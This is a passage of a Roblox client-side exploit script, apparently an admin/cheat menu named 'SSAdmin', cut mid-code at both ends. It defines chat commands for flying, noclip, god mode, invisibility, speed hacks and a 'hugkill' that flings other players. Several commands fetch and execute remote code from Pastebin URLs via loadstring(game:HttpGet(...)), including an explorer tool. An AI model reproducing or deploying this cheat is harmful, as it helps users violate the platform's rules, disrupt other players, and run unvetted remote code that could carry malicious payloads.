- game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(text, "All")
- end
- end
- function creeper()
- game.Players.LocalPlayer.Character.Torso["Right Shoulder"]:Destroy()
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment1 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Right Arm"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = Attachment1
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- Attachment1.Position = Vector3.new(0.5, 2, 1)
- game.Players.LocalPlayer.Character.Torso["Left Shoulder"]:Destroy()
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment1 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Left Arm"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = Attachment1
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- Attachment1.Position = Vector3.new(-0.5, 2, 1)
- --lol
- game.Players.LocalPlayer.Character.Torso["Left Hip"]:Destroy()
- local Attachment0 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment1 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Left Leg"])
- local ol = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- ol.Attachment0 = Attachment0
- ol.Attachment1 = Attachment1
- ol.LimitsEnabled = true
- ol.LowerAngle = 0
- ol.Restitution = 0
- ol.UpperAngle = 0
- Attachment1.Position = Vector3.new(-0.5, 2, -1)
- for i,v in pairs (game.Players.LocalPlayer.Character:GetChildren()) do
- if v.ClassName == "Accessory" then
- v:Destroy()
- end
- end
- game.Players.LocalPlayer.Character.Head.Mesh:Destroy()
- wait(0.01)
- game.Players.LocalPlayer.Character.Torso["Right Hip"]:Destroy()
- local Attachment00 = Instance.new("Attachment", game.Players.LocalPlayer.Character.Torso)
- local Attachment11 = Instance.new("Attachment", game.Players.LocalPlayer.Character["Right Leg"])
- local oll = Instance.new("HingeConstraint", game.Players.LocalPlayer.Character.Torso)
- oll.Attachment0 = Attachment00
- oll.Attachment1 = Attachment11
- oll.LimitsEnabled = true
- oll.LowerAngle = 0
- oll.Restitution = 0
- oll.UpperAngle = 0
- Attachment11.Position = Vector3.new(0.5, 2, -1)
- end
- function inv()
- Local = game:GetService('Players').LocalPlayer
- Char = Local.Character
- touched,tpdback = false, false
- Local.CharacterAdded:connect(function(char)
- if script.Disabled ~= true then
- wait(.25)
- loc = Char.HumanoidRootPart.Position
- Char:MoveTo(box.Position + Vector3.new(0,.5,0))
- end
- end)
- game:GetService('UserInputService').InputBegan:connect(function(key)
- if key.KeyCode == Enum.KeyCode.Equals then
- if script.Disabled ~= true then
- script.Disabled = true
- print'you may re-execute'
- end
- end
- end)
- box = Instance.new('Part',workspace)
- box.Anchored = true
- box.CanCollide = true
- box.Size = Vector3.new(10,1,10)
- box.Position = Vector3.new(0,10000,0)
- box.Touched:connect(function(part)
- if (part.Parent.Name == Local.Name) then
- if touched == false then
- touched = true
- function apply()
- if script.Disabled ~= true then
- no = Char.HumanoidRootPart:Clone()
- wait(.25)
- Char.HumanoidRootPart:Destroy()
- no.Parent = Char
- Char:MoveTo(loc)
- touched = false
- end end
- if Char then
- apply()
- end
- end
- end
- end)
- repeat wait() until Char
- loc = Char.HumanoidRootPart.Position
- Char:MoveTo(box.Position + Vector3.new(0,.5,0))
- Char.Torso.Transparency = 1
- Char.Head.Transparency = 1
- Char["Right Arm"].Transparency = 1
- Char["Left Arm"].Transparency = 1
- Char["Right Leg"].Transparency = 1
- Char["Left Leg"].Transparency = 1
- for i,v in pairs (Char:GetChildren()) do
- if v:IsA("Accessory") then
- v:Destroy()
- end
- end
- end
- function goto(tarded)
- local target
- for i,v in pairs(GetPlayer(tarded))do
- target = v
- end
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(target.Character.Head.Position))
- end
- function onChatted(msg,speaker)
- --nex
- if (string.sub(string.lower(msg),1,8) == prefix.."suchat ") then
- local stri = string.sub(msg,9)
- --local tar = game.Players[stri]
- schat(stri)
- end
- --xd
- if (string.sub(string.lower(msg),1,8) == prefix.."prefix ") then
- local stri = string.sub(msg,9)
- prefix = stri
- end
- --more lines
- if (msg == prefix.."creeper") then
- creeper()
- end
- if (msg == "!rejoin") then
- game:GetService("TeleportService"):Teleport(game.PlaceId, game.Players.LocalPlayer)
- end
- --MOAR
- if (msg == prefix.."sticky") then
- sticky()
- end
- --mmm
- if (msg == prefix.."invisible") then
- inv()
- end
- --okay stop reading this
- if (msg == prefix.."tall") then
- tall()
- end
- -- -.-
- if (string.sub(string.lower(msg),1,6) == prefix.."goto ") then
- local stri = string.sub(msg,7)
- --local tar = game.Players[stri]
- gogo(stri)
- end
- if (msg == prefix.."fly") then
- FLY()
- end
- if (msg == prefix.."noclip") then
- noclip = true
- end
- if (msg == prefix.."clip") then
- noclip = false
- end
- if (msg == prefix.."unfly") then
- _G.FLYING = false
- end
- if (msg == prefix.."god") then
- god()
- end
- if (msg == prefix.."ungod") then
- ungod()
- end
- if (msg == prefix.."sit") then
- plr.Character.Humanoid.Sit = true
- end
- if (msg == prefix.."blockhead") then
- if game.Players.LocalPlayer.Character.Head:FindFirstChild("Mesh") then
- game.Players.LocalPlayer.Character.Head:FindFirstChild("Mesh"):Destroy()
- end
- end
- if (string.sub(string.lower(msg),1,7) == prefix.."speed ") then
- local stri = string.sub(msg,8)
- game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = stri
- end
- if (string.sub(string.lower(msg),1,4) == prefix.."jp ") then
- local stri = string.sub(msg,5)
- game.Players.LocalPlayer.Character.Humanoid.JumpPower = stri
- end
- if (msg == prefix.."cmds") then
- cmdlist()
- end
- if (msg == prefix.."commandbar") then
- cmdbar()
- end
- if (msg == prefix.."respawn") then
- for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- v:Destroy()
- end
- local prt=Instance.new("Model", workspace);
- Instance.new("Part", prt).Name="Torso";
- Instance.new("Part", prt).Name="Head";
- Instance.new("Humanoid", prt).Name="Humanoid";
- game.Players.LocalPlayer.Character=prt
- repeat wait(1) until game.Players.LocalPlayer.Character:FindFirstChild'Head'
- for _,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- v:Destroy()
- end
- local prt2=Instance.new("Model", workspace);
- Instance.new("Part", prt).Name="Torso";
- Instance.new("Part", prt).Name="Head";
- Instance.new("Humanoid", prt).Name="Humanoid";
- game.Players.LocalPlayer.Character=prt
- end
- if (msg == prefix.."drophats") then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if (v:IsA("Accessory")) then
- v.Parent = workspace
- end
- end
- end
- if (msg == prefix.."blockhats") then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if (v:IsA("Accessory")) then
- v.Handle:FindFirstChildOfClass("SpecialMesh"):Destroy()
- end
- end
- end
- if (msg == prefix.."savepos") then
- saved = game.Players.LocalPlayer.Character.Head.Position
- end
- if (msg == prefix.."loadpos") then
- game.Players.LocalPlayer.Character:MoveTo(saved)
- end
- if (msg == prefix.."animbypass") then
- animbypass()
- end
- if (msg == prefix.."memeus") then
- if game.Players.LocalPlayer.Character:FindFirstChild("ra") then
- loadstring(game:HttpGet(('https://pastebin.com/raw/dNkSZRC2'),true))()
- end
- end
- if (msg == prefix.."krystal") then
- if game.Players.LocalPlayer.Character:FindFirstChild("ra") then
- loadstring(game:HttpGet(('https://pastebin.com/raw/6pBL7wQt'),true))()
- end
- end
- if (msg == prefix.."starg") then
- if game.Players.LocalPlayer.Character:FindFirstChild("ra") then
- loadstring(game:HttpGet(('https://pastebin.com/raw/Vz5Ut7HY'),true))()
- end
- end
- if (msg == prefix.."reset") then
- game.Players.LocalPlayer.Character:BreakJoints()
- end
- if msg == prefix.."memeanims" then
- if game.Players.LocalPlayer.Character:FindFirstChild("ra") then
- loadstring(game:HttpGet(('https://pastebin.com/raw/EPjwP34Y'),true))()
- end
- end
- if msg == prefix.."caramelldance" then
- if game.Players.LocalPlayer.Character:FindFirstChild("ra") then
- loadstring(game:HttpGet(('https://pastebin.com/raw/UG29b3Eu'),true))()
- end
- end
- if msg == prefix.."spectrumglitcher" then
- if game.Players.LocalPlayer.Character:FindFirstChild("ra") then
- loadstring(game:HttpGet(('https://pastebin.com/raw/cH1KzKtr'),true))()
- end
- end
- --slpit
- --https://pastebin.com/raw/sUSn58Ya
- if msg == prefix.."dex" then
- loadstring(game:HttpGet(('https://pastebin.com/raw/sUSn58Ya'),true))()
- end
- if msg == prefix.."hugkill" then
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if (v:IsA("Accessory")) then
- local p = Instance.new("Tool", game.Players.LocalPlayer.Backpack)
- v.Handle.Parent = p
- end
- end
- for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool")) then
- game.Players.LocalPlayer.Character.Humanoid:EquipTool(v)
- end
- end
- for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
- if (v:IsA("Tool")) then
- v.Grip = CFrame.new(math.huge,math.huge,math.huge)
- v.Parent = game.Players.LocalPlayer.Character
- end
- end
- for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- if (v:IsA("Tool")) then
- v.Parent = workspace
- end
- end
- end
- end
- ack.Chatted:connect(function(msg) onChatted(msg,ack) end)
- myfoc = false
- function cmdbar()
- local MakerModelLuasAdminForm = Instance.new("ScreenGui")
- local Dragger = Instance.new("Frame")
- local FormBar = Instance.new("Frame")
- local X = Instance.new("ImageButton")
- local IconHolder = Instance.new("ImageLabel")
- local Icon = Instance.new("ImageLabel")
- local TitleBegin = Instance.new("ImageLabel")
- local TitleEnd = Instance.new("ImageLabel")
- local Title = Instance.new("TextLabel")
- local Minus = Instance.new("ImageButton")
- local Splitter = Instance.new("Frame")
- local Body = Instance.new("TextButton")
- local Content = Instance.new("Frame")
- local CommandBox = Instance.new("TextBox")
- local Execute = Instance.new("TextButton")
- local Suggest = Instance.new("ScrollingFrame")
- MakerModelLuasAdminForm.Name = "Super Nice SS Admin Haxx"
- MakerModelLuasAdminForm.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
- MakerModelLuasAdminForm.ResetOnSpawn = false
- Dragger.Name = "Dragger"
- Dragger.Parent = MakerModelLuasAdminForm
- Dragger.Active = true
- Dragger.BackgroundColor3 = Color3.new(1, 1, 1)
- Dragger.BackgroundTransparency = 0.89999997615814
- Dragger.BorderColor3 = Color3.new(0, 0, 0)
- Dragger.BorderSizePixel = 2
- Dragger.ClipsDescendants = true
- Dragger.Draggable = true
- Dragger.Position = UDim2.new(0.25, -83, 0.100000001, 130)
- Dragger.Size = UDim2.new(0.5, 100, 0.100000001, 90)
- FormBar.Name = "FormBar"
- FormBar.Parent = Dragger
- FormBar.BackgroundTransparency = 1
- FormBar.Size = UDim2.new(1, 0, 0, 40)
- X.Name = "X"
- X.Parent = FormBar
- X.BackgroundTransparency = 1
- X.Position = UDim2.new(1, -30, 0, 5)
- X.Size = UDim2.new(0, 25, 0, 25)
- X.Image = "rbxassetid://275572394"
- IconHolder.Name = "IconHolder"
- IconHolder.Parent = FormBar
- IconHolder.BackgroundTransparency = 1
- IconHolder.Position = UDim2.new(0, 5, 0, 5)
- IconHolder.Size = UDim2.new(0, 35, 0, 25)
- IconHolder.Image = "rbxassetid://276002222"
- Icon.Name = "Icon"
- Icon.Parent = IconHolder
- Icon.BackgroundTransparency = 1
- Icon.Position = UDim2.new(0, 3, 0.5, -10)
- Icon.Size = UDim2.new(0, 20, 0, 20)
- Icon.Image = "rbxassetid://302470270"
- TitleBegin.Name = "TitleBegin"
- TitleBegin.Parent = FormBar
- TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1)
- TitleBegin.BackgroundTransparency = 1
- TitleBegin.Position = UDim2.new(0, 30, 0, 5)
- TitleBegin.Size = UDim2.new(0, 35, 0, 25)
- TitleBegin.Image = "rbxassetid://275589160"
- TitleEnd.Name = "TitleEnd"
- TitleEnd.Parent = FormBar
- TitleEnd.BackgroundTransparency = 1
- TitleEnd.Position = UDim2.new(1, -76, 0, 5)
- TitleEnd.Size = UDim2.new(0, 25, 0, 25)
- TitleEnd.Image = "rbxassetid://275589154"
- Title.Name = "Title"
- Title.Parent = FormBar
- Title.BackgroundColor3 = Color3.new(0.396078, 0.4, 0.4)
- Title.BorderSizePixel = 0
- Title.ClipsDescendants = true
- Title.Position = UDim2.new(0, 50, 0, 5)
- Title.Size = UDim2.new(1, -120, 0, 25)
- Title.Font = Enum.Font.ArialBold
- Title.Text = "SSAdmin Command Bar"
- Title.TextColor3 = Color3.new(0, 0, 0)
- Title.TextSize = 18
- Title.TextXAlignment = Enum.TextXAlignment.Left
- Minus.Name = "Minus"
- Minus.Parent = FormBar
- Minus.BackgroundTransparency = 1
- Minus.Position = UDim2.new(1, -58, 0, 5)
- Minus.Size = UDim2.new(0, 35, 0, 25)
- Minus.Image = "rbxassetid://275589157"
- Splitter.Name = "Splitter"
- Splitter.Parent = Dragger
- Splitter.BackgroundColor3 = Color3.new(0, 0, 0)
- Splitter.BorderColor3 = Color3.new(0, 0, 0)
- Splitter.Position = UDim2.new(0, 0, 0, 35)
- Splitter.Size = UDim2.new(1, 0, 0, 2)
- Body.Name = "Body"
- Body.Parent = Dragger
- Body.BackgroundColor3 = Color3.new(1, 1, 1)
- Body.BackgroundTransparency = 1
- Body.Position = UDim2.new(0, 0, 0, 40)
- Body.Size = UDim2.new(1, 0, 1, -40)
- Body.Modal = true
- Body.Text = ""
- Content.Name = "Content"
- Content.Parent = Body
- Content.BackgroundTransparency = 1
- Content.Size = UDim2.new(1, 0, 1, 0)
- CommandBox.Name = "CommandBox"
- CommandBox.Parent = Content
- CommandBox.BackgroundColor3 = Color3.new(1, 1, 1)
- CommandBox.BackgroundTransparency = 0.5
- CommandBox.Position = UDim2.new(0.300000012, 5, 0, 5)
- CommandBox.Size = UDim2.new(0.699999988, -20, 0.400000006, 0)
- CommandBox.ClearTextOnFocus = false
- CommandBox.Font = Enum.Font.Arial
- CommandBox.Text = "TextBox"
- CommandBox.TextColor3 = Color3.new(0, 0, 0)
- CommandBox.TextSize = 18
- CommandBox.TextXAlignment = Enum.TextXAlignment.Left
- Execute.Name = "Execute"
- Execute.Parent = Content
- Execute.BackgroundColor3 = Color3.new(1, 1, 1)
- Execute.BackgroundTransparency = 0.5
- Execute.Position = UDim2.new(0.300000012, 5, 0.699999988, -10)
- Execute.Size = UDim2.new(0.699999988, -20, 0.400000006, -10)
- Execute.Font = Enum.Font.ArialBold
- Execute.Text = "Execute"
- Execute.TextColor3 = Color3.new(0, 0, 0)
- Execute.TextSize = 18
- Suggest.Name = "Suggest"
- Suggest.Parent = Content
- Suggest.BackgroundColor3 = Color3.new(0, 0, 0)
- Suggest.BackgroundTransparency = 0.5
- Suggest.Size = UDim2.new(0.300000012, 0, 1, 0)
- Suggest.CanvasSize = UDim2.new(0, 0, 0, 15700)
- X.MouseButton1Down:connect(function()
- MakerModelLuasAdminForm:Destroy()
- end)
- Minus.MouseButton1Down:connect(function()
- MakerModelLuasAdminForm:Destroy()
- end)
- Execute.MouseButton1Down:connect(function()
- onChatted(prefix..CommandBox.Text,plr)
- CommandBox.Text = ""
- end)
- end
- cmdbar()
- while wait() do
- repeat wait() until game.Players.LocalPlayer.Character
- char = game.Players.LocalPlayer.Character
- for i,v in pairs (char:GetDescendants()) do
- if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
- v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0,0,0)
- v.Massless = true
- end
- end
- end
- end)
- DANCETILLYOUREDEAD.Name = "DANCE TILL YOU'RE DEAD"
- DANCETILLYOUREDEAD.Parent = Frame
- DANCETILLYOUREDEAD.BackgroundColor3 = Color3.new(1, 1, 1)
- DANCETILLYOUREDEAD.Position = UDim2.new(0.404199481, 0, 0.709302306, 0)
- DANCETILLYOUREDEAD.Size = UDim2.new(0, 134, 0, 50)
- DANCETILLYOUREDEAD.Font = Enum.Font.SourceSans
- DANCETILLYOUREDEAD.Text = "part 2"
- DANCETILLYOUREDEAD.TextColor3 = Color3.new(0, 0, 0)
- DANCETILLYOUREDEAD.TextSize = 14
- DANCETILLYOUREDEAD.MouseButton1Click:connect(function()
- game.Players.LocalPlayer.Character.la.Transparency = 1
- game.Players.LocalPlayer.Character.ra.Transparency = 1
- game.Players.LocalPlayer.Character.rh.Transparency = 1
- game.Players.LocalPlayer.Character.lh.Transparency = 1
- game.Players.LocalPlayer.Character.la.Transparency = 1
- game.Players.LocalPlayer.Character.ra.Transparency = 1
- game.Players.LocalPlayer.Character.rh.Transparency = 1
- game.Players.LocalPlayer.Character.lh.Transparency = 1
- game.Players.LocalPlayer.Character.Tors.Transparency = 1
- end)
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